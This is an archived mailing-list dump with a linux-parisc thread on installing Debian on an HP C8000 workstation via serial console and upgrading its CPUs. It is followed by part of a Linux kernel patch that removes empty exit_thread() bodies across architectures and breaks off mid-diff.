	mail-io0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753133AbcC3NzF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 30 Mar 2016 09:55:05 -0400
Original-Received: by mail-io0-f177.google.com with SMTP id e3so70698062ioa.1
        for <linux-parisc@vger.kernel.org>; Wed, 30 Mar 2016 06:55:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=jAuZk6k12UQlXs/RYUBP10zucusz0nLPJ3agZfT5mcI=;
        b=Bs7o6TbOXvB/UroryyibSn/M0Ntvvcq3bfHiZGJfW0pn3/GbOfB6ncI6cJxhEAF3Bk
         lRVvEPCQVcrf9PoVskJNqdp7/gTWBd8LsZvMuLPpqVgSRDrWWXNxjdLJwyTEoK3a/W9O
         b9ToTzLiIKR9K+4Y+ZN3kd1eT8mkOmuZLTmDcMoH1dks9Xy/DXBavyHQBgch0/oRRKz/
         r5yJ+JkRlWE6f+xIOHha7/yd6zfYcQYyefUBCM2pLCs0CKeBtrNHDQLe8zQidUyNS116
         vo4Y1IGs175xRLDKC2N1bXhmZ31Lt0Z/WXifadbOqEkBHOy6wcTekfFGYlb33sIFCJVn
         YxbQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=jAuZk6k12UQlXs/RYUBP10zucusz0nLPJ3agZfT5mcI=;
        b=NLXzjLgkoLb58/IxB8yUuvB3XkVGOSrnHno2n5WG4I6Vz5VklmKjBfBeiZXoaQyC2n
         0pxkPuudN/7UO/xGZ/sYsyG/WAufLlhUBFE4lrEm5aOdJItAZRtLu9b8kUbFG3WBp1bH
         t1AKsjfg4iGLzWdAc8Xnd2ivifidHkJ3YNrotvgPi7JBDQ2N+fvGI+M/IGZGA3c+y4cv
         GuvPSJ+wSZypijJCZkywSrHOmsR4t6utOddo3waVDsJCJxm8o0klQV0cPjzMi81k9l7n
         r1aePkU2d4FZ2cOOmsVdUwgHTIYbM3EzDDnzdDyIIHIa0yONz41OQRKDw0Ma5CAhndIh
         ev4A==
X-Gm-Message-State: AD7BkJLElq048WN1HEWeAGZnbtADRce5smrky/ziUp0zjQSjL8tPtCClUYnL0Iku1/jiD8FHbH9QECdwL/gI7A==
X-Received: by 10.107.9.202 with SMTP id 71mr11087875ioj.52.1459346086622;
 Wed, 30 Mar 2016 06:54:46 -0700 (PDT)
Original-Received: by 10.64.25.227 with HTTP; Wed, 30 Mar 2016 06:54:46 -0700 (PDT)
In-Reply-To: <CAFk90B9NiwRGLpmtvcut6YVOoT8biirAvHO7XEW+mBNnpbtd+w@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26556
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26556>

Success: confirmed CPU upgrade from 1 to 2 CPUs (four cores) !

A very skilled friend has borrowed the right tools.
Apart some mechanical "delicatessen" the upgrade has been
strightforward and successfull.
HP-UX diagnostic program "SAM" confirms 4 cores.

Now, I'm installing Debian 8.0 again, but on an IDE/PATA 7200 rpm 120G
hard disk: I want to compare the performance respect the 15.000 rpm
SCSI beast used yesterday.

Simone Mannori - Italy






On 30 March 2016 at 12:57, Graham Gower <graham.gower@gmail.com> wrote:
>
>
> On 30 March 2016 at 20:29, Helge Deller <deller@gmx.de> wrote:
>>
>> Hi Simone,
>>
>> > Success !
>>
>> Great!
>>
>> > The key moves were disconnect keyboard and monitor first, connect to
>> > Serial Port A and use the terminal to change default console to serial
>> > port ("path con serial_A" command). With this configuration, all the
>> > communication pass through to the Serial Port A and the Debian
>> > installation runs clean and sweet.
>>
>> Just for the record:
>> The C8000 is the ONLY parisc machine where you have to install debian
>> via serial console. ALL OTHER machines can be installed the usual way
>> with monitor and keyboard.
>>
>> > Just to be clear for the next newbie, your Debian 8.0
>> > _needs_internet_connection active to complete the installation The
>> > c8000 built in Ethernet port is automatically configured with DHCP.
>>
>> Yes, the current install images need network connection.
>> I did something wrong when I created them, but we are planning to build
>> new install images soon which won't require network connection.
>>
>> > Hard disk partioning and formatting is also very smooth if you choose
>> > the "easy" options (full disk,single partition).
>> > As desktop, I choose Mate (I'm a Linux Mint fan).
>> >
>> > I have rebooted the c8000 with a full HD monitor, keyboard and mouse
>> > attached. With the serial terminal I have changed default console to
>> > "graph3" (the AGP video card). Booting from the hard disk with Debian
>> > installed open the classic login screen. The full HD monitor was
>> > correctly detected and the resolution was the right one. Synaptic is
>> > installed by defalt, so additional software installation is definetely
>> > not an issue. Who said that Debian was difficult to install and
>> > configure?
>> >
>> > Sometime windows dragging and updating looks slow. No 2D acceleration,
>> > frame buffer only? I don't know.
>>
>> Yes, currently it's unaccelerated frame buffer only.
>>
>> > But the good news are not finished: installing "mesa-utils" I have
>> > verified that 3D accelerated OpenGL is active and running (glxinfo is
>> > OK and glxgears runs at 50 fps).
>>
>> I'm wondering here. So it seems the ati userspace driver seems to
>> correctly initialize the 3D engine ?
>
>
> I'm pretty sure this is software emulation. Try running 'glxgears -info'.
>
>>
>>
>> > Thanks a lot for your very helpful guide to the installation process:
>> > linux-parisc is one the most "newbie-friendy" mailing list of the
>> > Linux Universe.
>> >
>> > If you think useful, I'm available to write or update a wiki page for
>> > Linux on the HP c8000. Otherwise, I will open a dedicated blog and
>> > send you the link.
>>
>> It would be great if you could write it up in the wiki.
>> Please request an account here:
>> https://parisc.wiki.kernel.org/index.php/Special:RequestAccount
>> I will then give you permissions to our wiki.
>>
>> > //**-----------------
>> >
>> > Now, I'm fighting with a very hardware issue: the screws of the PA
>> > CPUs are non standard hex with a center pin. I hate this things.
>> > Yesterday evening I was ready to upgrade from a single PA-8800/900 MHz
>> > to a dual PA-8900/1GHz
>>
>> I'm not sure if this will simply work. I was looking at the idea myself
>> once, and googling for that it seems that some firmware update needs to
>> be done in order for the machine to accept the additional CPU.
>> If you do it, please let us know...
>
>
> I have done this with success. You can buy the required tools cheaply on
> ebay. You'll need a T15 Security Torx Screwdriver and a *long* 2.5mm allen
> key. The c8000 user manual describes the process.
>
> My understanding is that a motherboard can in principle be locked to
> disallow the addition of a second CPU, which would require some kind of
> unlock code from the vendor. I don't know if any C8000's are locked in
> practice, but none of the three boards I've used were locked (only one board
> had two CPUs to start with).
>
>>
>>
>> > when I have discovered the screw issue. Today,
>> > I'm going to go the Forge and build a "compatible" tool. Just for my
>> > curiosity: "Have you found a compatible tool?".
>> >
>> > Next episode: "For a fist of MIPS". "What happen when a quad-core HP
>> > c8000 (2 x PA-8900, 1GHz) meets a quad-core Raspberry PI 3 (ARM
>> > Cortex-A53, 1.2 GHz) ?"
>> >
>> > Simone Mannori  - Italy
>>
>> Helge
>>
>>
>> >
>> >
>> > On 29 March 2016 at 14:41, Helge Deller <deller@gmx.de> wrote:
>> > > On 29.03.2016 14:39, Helge Deller wrote:
>> > >> On 29.03.2016 12:01, Helge Deller wrote:
>> > >>> Here is the manual for the C8000:
>> > >>>
>> > >>> https://parisc.wiki.kernel.org/images-parisc/1/18/HP_C8000_Manual.pdf
>> > >>>
>> > >>> This is how you should do it:
>> > >>> 1. Power *off* the C8000 first.
>> > >>> 2. Plug out the graphics cable and keyboard cable.
>> > >>> 3. Power *on* the C8000
>> > >>> 4. It will show POST messages on the serialA, detect that the cables
>> > >>> were plugged and present the "Main Menu" on the serial port
>> > >>> (see page 2-4 in the PDF)
>> > >>> 5. With the "PATH" command, you can see the current console/keyboard
>> > >>> paths.
>> > >>> 6. Make sure, that the "console path" is not "graphXYZ" and the
>> > >>> "keyboard path" is not "USB_XYZ".
>> > >>> Instead run "path console serial0"  (or "path console serialA" -
>> > >>> please check!).
>> > >>> 7. After setting the console path to serialA, boot from the CD/DVD.
>> > >>
>> > >> Just for the record - this is what my C8000 shows in the "Main Menu":
>> > >>
>> > >> Duplex Console IO Dependent Code (IODC) revision 1
>> > >>
>> > >> ------------------------------------------------------------------------------
>> > >>    (c) Copyright 1995-2004, Hewlett-Packard Company, All rights
>> > >> reserved
>> > >>
>> > >> ------------------------------------------------------------------------------
>> > >>
>> > >>   Processor   Speed            State           CoProcessor
>> > >> Cache Size
>> > >>   Number                                       State
>> > >> Inst    Data
>> > >>   ---------  --------   ---------------------  -----------------
>> > >> ------------
>> > >>       0       900 MHz   Active                 Functional         32
>> > >> MB/32 MB
>> > >>       1       900 MHz   Idle                   Functional         32
>> > >> MB/32 MB
>> > >>
>> > >>   Central Bus Speed (in MHz)  :        200
>> > >>   Available Memory            :    8388608  KB
>> > >>   Good Memory Required        : Not initialized. Defaults to 32 MB.
>> > >>
>> > >>    Primary boot path:    scsiA.5
>> > >>                          0/2/1/0.5
>> > >>    Alternate boot path:  lan.0.0.0.0
>> > >>                          0/3/3/0
>> > >>    Console path:         graph3
>> > >>                          0/4/0/0.0
>> > >>
>> > >>    Current Console path: serial_A.643
>> > >>                          17.643
>> > >>    Keyboard path:        usb0
>> > >>                          0/3/1/0.0
>> > >>    Keyboard path ignored for serial consoles.
>> > >>
>> > >>
>> > >>  WARNING:  No usable graphics console was found on this system.  It
>> > >>            may be that no graphics card is present, the graphics card
>> > >>            is not functioning properly, or no USB keyboard is
>> > >> connected.
>> > >>            The console has defaulted to a serial port.
>> > >>
>> > >>
>> > >> If you choose "serial_A" as console path it should work (I don't use
>> > >> the graphics card either).
>> > >
>> > > By the way, the PALO boot loader will automatically add
>> > > "console=ttyS0" to the kernel command line in that case.
>> > >
>> > > Helge
>> >
>> --
>> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: [PATCH v2 2/4] exit_thread: remove empty bodies
Date: Thu, 31 Mar 2016 09:55:53 +0200
Lines: 689
Approved: news@gmane.org
Message-ID: <1459410955-5422-2-git-send-email-jslaby@suse.cz>
References: <1459410955-5422-1-git-send-email-jslaby@suse.cz>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1459411015 26527 80.91.229.3 (31 Mar 2016 07:56:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Mar 2016 07:56:55 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Jiri Slaby <jslaby@suse.cz>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@arm.linux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Steven Miao <realmz6@gmail.com>,
        Mark Salter <msalter@redhat.com>,
        Aurelien Jacquiot <a-jacquiot@ti.com>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Richard Kuo <rkuo@codeaurora.org>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        James Hogan <james.hogan@img
To: akpm@linux-foundation.org
Original-X-From: linux-mips-bounce@linux-mips.org Thu Mar 31 09:56:39 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1alXT5-0007mx-CZ
	for sgi-linux-mips@gmane.org; Thu, 31 Mar 2016 09:56:39 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:58512 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27024978AbcCaH4enakf1 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 31 Mar 2016 09:56:34 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 31 Mar 2016 09:56:20 +0200 (CEST)
Original-Received: from mx2.suse.de ([195.135.220.15]:58984 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27007814AbcCaH4POvs61 (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 31 Mar 2016 09:56:15 +0200
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id 6D93EAC32;
        Thu, 31 Mar 2016 07:56:07 +0000 (UTC)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1459410955-5422-1-git-send-email-jslaby@suse.cz>
X-archive-position: 52802
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jslaby@suse.cz
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:53961 gmane.linux.kernel:2187423 gmane.linux.ports.alpha:3546 gmane.linux.kernel.arc:805 gmane.linux.ports.arm.kernel:489208 gmane.linux.ports.ia64:26479 gmane.linux.ports.hexagon:995 gmane.linux.kernel.metag:1047 gmane.linux.ports.parisc:26557 gmane.linux.ports.ppc64.devel:125378 gmane.linux.ports.sh.devel:53656 gmane.linux.ports.sparc:22675 gmane.linux.uml.devel:15856 gmane.linux.uml.user:15010
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/53961>

Define HAVE_EXIT_THREAD for archs which want to do something in
exit_thread. For others, let's define exit_thread as an empty inline.

This is a cleanup before we change the prototype of exit_thread to
accept a task parameter.

Signed-off-by: Jiri Slaby <jslaby@suse.cz>
Cc: Richard Henderson <rth@twiddle.net>
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: Matt Turner <mattst88@gmail.com>
Cc: Vineet Gupta <vgupta@synopsys.com>
Cc: Russell King <linux@arm.linux.org.uk>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>
Cc: Hans-Christian Egtvedt <egtvedt@samfundet.no>
Cc: Steven Miao <realmz6@gmail.com>
Cc: Mark Salter <msalter@redhat.com>
Cc: Aurelien Jacquiot <a-jacquiot@ti.com>
Cc: Mikael Starvik <starvik@axis.com>
Cc: Jesper Nilsson <jesper.nilsson@axis.com>
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>
Cc: Richard Kuo <rkuo@codeaurora.org>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: James Hogan <james.hogan@imgtec.com>
Cc: Michal Simek <monstr@monstr.eu>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: David Howells <dhowells@redhat.com>
Cc: Koichi Yasutake <yasutake.koichi@jp.panasonic.com>
Cc: Ley Foon Tan <lftan@altera.com>
Cc: Jonas Bonn <jonas@southpole.se>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Michael Ellerman <mpe@ellerman.id.au>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Chen Liqin <liqin.linux@gmail.com>
Cc: Lennox Wu <lennox.wu@gmail.com>
Cc: Rich Felker <dalias@libc.org>
Cc: "David S. Miller" <davem@davemloft.net>
Cc: Chris Metcalf <cmetcalf@mellanox.com>
Cc: Jeff Dike <jdike@addtoit.com>
Cc: Richard Weinberger <richard@nod.at>
Cc: Guan Xuetao <gxt@mprc.pku.edu.cn>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: "H. Peter Anvin" <hpa@zytor.com>
Cc: x86@kernel.org
Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Chris Zankel <chris@zankel.net>
Cc: Max Filippov <jcmvbkbc@gmail.com>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: linux-kernel@vger.kernel.org
Cc: linux-alpha@vger.kernel.org
Cc: linux-snps-arc@lists.infradead.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: adi-buildroot-devel@lists.sourceforge.net
Cc: linux-c6x-dev@linux-c6x.org
Cc: linux-cris-kernel@axis.com
Cc: linux-ia64@vger.kernel.org
Cc: uclinux-h8-devel@lists.sourceforge.jp
Cc: linux-hexagon@vger.kernel.org
Cc: linux-m68k@lists.linux-m68k.org
Cc: linux-metag@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-am33-list@redhat.com
Cc: nios2-dev@lists.rocketboards.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: user-mode-linux-devel@lists.sourceforge.net
Cc: user-mode-linux-user@lists.sourceforge.net
Cc: linux-xtensa@linux-xtensa.org
---
 arch/Kconfig                            |  5 +++++
 arch/alpha/kernel/process.c             |  8 --------
 arch/arc/kernel/process.c               |  7 -------
 arch/arm/Kconfig                        |  1 +
 arch/arm64/kernel/process.c             |  7 -------
 arch/avr32/Kconfig                      |  1 +
 arch/blackfin/include/asm/processor.h   |  7 -------
 arch/c6x/kernel/process.c               |  4 ----
 arch/cris/Kconfig                       |  1 +
 arch/cris/arch-v10/kernel/process.c     |  9 ---------
 arch/frv/include/asm/processor.h        |  7 -------
 arch/h8300/include/asm/processor.h      |  7 -------
 arch/hexagon/kernel/process.c           |  7 -------
 arch/ia64/Kconfig                       |  1 +
 arch/m32r/kernel/process.c              |  9 ---------
 arch/m68k/include/asm/processor.h       |  7 -------
 arch/metag/Kconfig                      |  1 +
 arch/metag/include/asm/processor.h      |  2 --
 arch/microblaze/include/asm/processor.h | 10 ----------
 arch/mips/include/asm/processor.h       |  4 ----
 arch/mn10300/Kconfig                    |  1 +
 arch/nios2/include/asm/processor.h      |  5 -----
 arch/openrisc/include/asm/processor.h   |  9 ---------
 arch/parisc/kernel/process.c            |  7 -------
 arch/powerpc/kernel/process.c           |  4 ----
 arch/s390/Kconfig                       |  1 +
 arch/score/kernel/process.c             |  2 --
 arch/sh/Kconfig                         |  1 +
 arch/sh/kernel/process_32.c             |  7 -------
 arch/sparc/Kconfig                      |  1 +
 arch/tile/Kconfig                       |  1 +
 arch/um/kernel/process.c                |  4 ----
 arch/unicore32/kernel/process.c         |  7 -------
 arch/x86/Kconfig                        |  1 +
 arch/xtensa/Kconfig                     |  1 +
 include/linux/sched.h                   |  7 +++++++
 36 files changed, 24 insertions(+), 140 deletions(-)

diff --git a/arch/Kconfig b/arch/Kconfig
index 81869a5e7e17..0f298f9123dc 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
@@ -517,6 +517,11 @@ config HAVE_ARCH_MMAP_RND_BITS
 	  - ARCH_MMAP_RND_BITS_MIN
 	  - ARCH_MMAP_RND_BITS_MAX
 
+config HAVE_EXIT_THREAD
+	bool
+	help
+	  An architecture implements exit_thread.
+
 config ARCH_MMAP_RND_BITS_MIN
 	int
 
diff --git a/arch/alpha/kernel/process.c b/arch/alpha/kernel/process.c
index 84d13263ce46..b483156698d5 100644
--- a/arch/alpha/kernel/process.c
+++ b/arch/alpha/kernel/process.c
@@ -210,14 +210,6 @@ start_thread(struct pt_regs * regs, unsigned long pc, unsigned long sp)
 }
 EXPORT_SYMBOL(start_thread);
 
-/*
- * Free current thread data structures etc..
- */
-void
-exit_thread(void)
-{
-}
-
 void
 flush_thread(void)
 {
diff --git a/arch/arc/kernel/process.c b/arch/arc/kernel/process.c
index a3f750e76b68..b5db9e7fd649 100644
--- a/arch/arc/kernel/process.c
+++ b/arch/arc/kernel/process.c
@@ -183,13 +183,6 @@ void flush_thread(void)
 {
 }
 
-/*
- * Free any architecture-specific thread data structures, etc.
- */
-void exit_thread(void)
-{
-}
-
 int dump_fpu(struct pt_regs *regs, elf_fpregset_t *fpu)
 {
 	return 0;
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index cdfa6c2b7626..0846026c84de 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -50,6 +50,7 @@ config ARM
 	select HAVE_DMA_CONTIGUOUS if MMU
 	select HAVE_DYNAMIC_FTRACE if (!XIP_KERNEL) && !CPU_ENDIAN_BE32 && MMU
 	select HAVE_EFFICIENT_UNALIGNED_ACCESS if (CPU_V6 || CPU_V6K || CPU_V7) && MMU
+	select HAVE_EXIT_THREAD
 	select HAVE_FTRACE_MCOUNT_RECORD if (!XIP_KERNEL)
 	select HAVE_FUNCTION_GRAPH_TRACER if (!THUMB2_KERNEL)
 	select HAVE_FUNCTION_TRACER if (!XIP_KERNEL)
diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
index 80624829db61..5655f756e4f2 100644
--- a/arch/arm64/kernel/process.c
+++ b/arch/arm64/kernel/process.c
@@ -200,13 +200,6 @@ void show_regs(struct pt_regs * regs)
 	__show_regs(regs);
 }
 
-/*
- * Free current thread data structures etc..
- */
-void exit_thread(void)
-{
-}
-
 static void tls_thread_flush(void)
 {
 	asm ("msr tpidr_el0, xzr");
diff --git a/arch/avr32/Kconfig b/arch/avr32/Kconfig
index b6878eb64884..37d9c02be634 100644
--- a/arch/avr32/Kconfig
+++ b/arch/avr32/Kconfig
@@ -4,6 +4,7 @@ config AVR32
 	# that we usually don't need on AVR32.
 	select EXPERT
 	select HAVE_CLK
+	select HAVE_EXIT_THREAD
 	select HAVE_OPROFILE
 	select HAVE_KPROBES
 	select VIRT_TO_BUS
diff --git a/arch/blackfin/include/asm/processor.h b/arch/blackfin/include/asm/processor.h
index 7acd46653df3..0c265aba94ad 100644
--- a/arch/blackfin/include/asm/processor.h
+++ b/arch/blackfin/include/asm/processor.h
@@ -76,13 +76,6 @@ static inline void release_thread(struct task_struct *dead_task)
 }
 
 /*
- * Free current thread data structures etc..
- */
-static inline void exit_thread(void)
-{
-}
-
-/*
  * Return saved PC of a blocked thread.
  */
 #define thread_saved_pc(tsk)	(tsk->thread.pc)
diff --git a/arch/c6x/kernel/process.c b/arch/c6x/kernel/process.c
index 3ae9f5a166a0..0ee7686a78f3 100644
--- a/arch/c6x/kernel/process.c
+++ b/arch/c6x/kernel/process.c
@@ -82,10 +82,6 @@ void flush_thread(void)
 {
 }
 
-void exit_thread(void)
-{
-}
-
 /*
  * Do necessary setup to start up a newly executed thread.
  */
diff --git a/arch/cris/Kconfig b/arch/cris/Kconfig
index e086f9e93728..10a5ccb85cd6 100644
--- a/arch/cris/Kconfig
+++ b/arch/cris/Kconfig
@@ -62,6 +62,7 @@ config CRIS
 	select OLD_SIGSUSPEND
 	select OLD_SIGACTION
 	select ARCH_REQUIRE_GPIOLIB
+	select HAVE_EXIT_THREAD if ETRAX_ARCH_V32
 	select IRQ_DOMAIN if ETRAX_ARCH_V32
 	select OF if ETRAX_ARCH_V32
 	select OF_EARLY_FLATTREE if ETRAX_ARCH_V32
diff --git a/arch/cris/arch-v10/kernel/process.c b/arch/cris/arch-v10/kernel/process.c
index 02b783457be0..96e5afef6b47 100644
--- a/arch/cris/arch-v10/kernel/process.c
+++ b/arch/cris/arch-v10/kernel/process.c
@@ -35,15 +35,6 @@ void default_idle(void)
 	local_irq_enable();
 }
 
-/*
- * Free current thread data structures etc..
- */
-
-void exit_thread(void)
-{
-	/* Nothing needs to be done.  */
-}
-
 /* if the watchdog is enabled, we can simply disable interrupts and go
  * into an eternal loop, and the watchdog will reset the CPU after 0.1s
  * if on the other hand the watchdog wasn't enabled, we just enable it and wait
diff --git a/arch/frv/include/asm/processor.h b/arch/frv/include/asm/processor.h
index ae8d423e79d9..73f0a79ad8e6 100644
--- a/arch/frv/include/asm/processor.h
+++ b/arch/frv/include/asm/processor.h
@@ -97,13 +97,6 @@ extern asmlinkage void *restore_user_regs(const struct user_context *target, ...
 #define forget_segments()		do { } while (0)
 
 /*
- * Free current thread data structures etc..
- */
-static inline void exit_thread(void)
-{
-}
-
-/*
  * Return saved PC of a blocked thread.
  */
 extern unsigned long thread_saved_pc(struct task_struct *tsk);
diff --git a/arch/h8300/include/asm/processor.h b/arch/h8300/include/asm/processor.h
index 54e3fd83c336..111df7397ac7 100644
--- a/arch/h8300/include/asm/processor.h
+++ b/arch/h8300/include/asm/processor.h
@@ -111,13 +111,6 @@ static inline void release_thread(struct task_struct *dead_task)
 }
 
 /*
- * Free current thread data structures etc..
- */
-static inline void exit_thread(void)
-{
-}
-
-/*
  * Return saved PC of a blocked thread.
  */
 unsigned long thread_saved_pc(struct task_struct *tsk);
diff --git a/arch/hexagon/kernel/process.c b/arch/hexagon/kernel/process.c
index a9ebd471823a..d9edfd3fc52a 100644
--- a/arch/hexagon/kernel/process.c
+++ b/arch/hexagon/kernel/process.c
@@ -137,13 +137,6 @@ void release_thread(struct task_struct *dead_task)
 }
 
 /*
- * Free any architecture-specific thread data structures, etc.
- */
-void exit_thread(void)
-{
-}
-
-/*
  * Some archs flush debug and FPU info here
  */
 void flush_thread(void)
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index b534ebab36ea..f80758cb7157 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -18,6 +18,7 @@ config IA64
 	select ACPI_SYSTEM_POWER_STATES_SUPPORT if ACPI
 	select ARCH_MIGHT_HAVE_ACPI_PDC if ACPI
 	select HAVE_UNSTABLE_SCHED_CLOCK
+	select HAVE_EXIT_THREAD
 	select HAVE_IDE
 	select HAVE_OPROFILE
 	select HAVE_KPROBES
diff --git a/arch/m32r/kernel/process.c b/arch/m32r/kernel/process.c
index e69221d581d5..a88b1f01e91f 100644
--- a/arch/m32r/kernel/process.c
+++ b/arch/m32r/kernel/process.c
@@ -101,15 +101,6 @@ void show_regs(struct pt_regs * regs)
 #endif
 }
 
-/*
- * Free current thread data structures etc..
- */
-void exit_thread(void)
-{
-	/* Nothing to do. */
-	DPRINTK("pid = %d\n", current->pid);
-}
-
 void flush_thread(void)
 {
 	DPRINTK("pid = %d\n", current->pid);
diff --git a/arch/m68k/include/asm/processor.h b/arch/m68k/include/asm/processor.h
index 20dda1d4b860..a6ce2ec8d693 100644
--- a/arch/m68k/include/asm/processor.h
+++ b/arch/m68k/include/asm/processor.h
@@ -153,13 +153,6 @@ static inline void release_thread(struct task_struct *dead_task)
 {
 }
 
-/*
- * Free current thread data structures etc..
- */
-static inline void exit_thread(void)
-{
-}
-
 extern unsigned long thread_saved_pc(struct task_struct *tsk);
 
 unsigned long get_wchan(struct task_struct *p);
diff --git a/arch/metag/Kconfig b/arch/metag/Kconfig
index a0fa88da3e31..e47a08d72819 100644
--- a/arch/metag/Kconfig
+++ b/arch/metag/Kconfig
@@ -11,6 +11,7 @@ config METAG
 	select HAVE_DEBUG_KMEMLEAK
 	select HAVE_DEBUG_STACKOVERFLOW
 	select HAVE_DYNAMIC_FTRACE
+	select HAVE_EXIT_THREAD
 	select HAVE_FTRACE_MCOUNT_RECORD
 	select HAVE_FUNCTION_TRACER
 	select HAVE_KERNEL_BZIP2
diff --git a/arch/metag/include/asm/processor.h b/arch/metag/include/asm/processor.h
index 0838ca699764..a0333ebcac35 100644
--- a/arch/metag/include/asm/processor.h
+++ b/arch/metag/include/asm/processor.h
@@ -134,8 +134,6 @@ static inline void release_thread(struct task_struct *dead_task)
 #define copy_segments(tsk, mm)		do { } while (0)
 #define release_segments(mm)		do { } while (0)
 
-extern void exit_thread(void);
-
 /*
  * Return saved PC of a blocked thread.
  */
diff --git a/arch/microblaze/include/asm/processor.h b/arch/microblaze/include/asm/processor.h
index 497a988d79c2..c38d0dd91134 100644
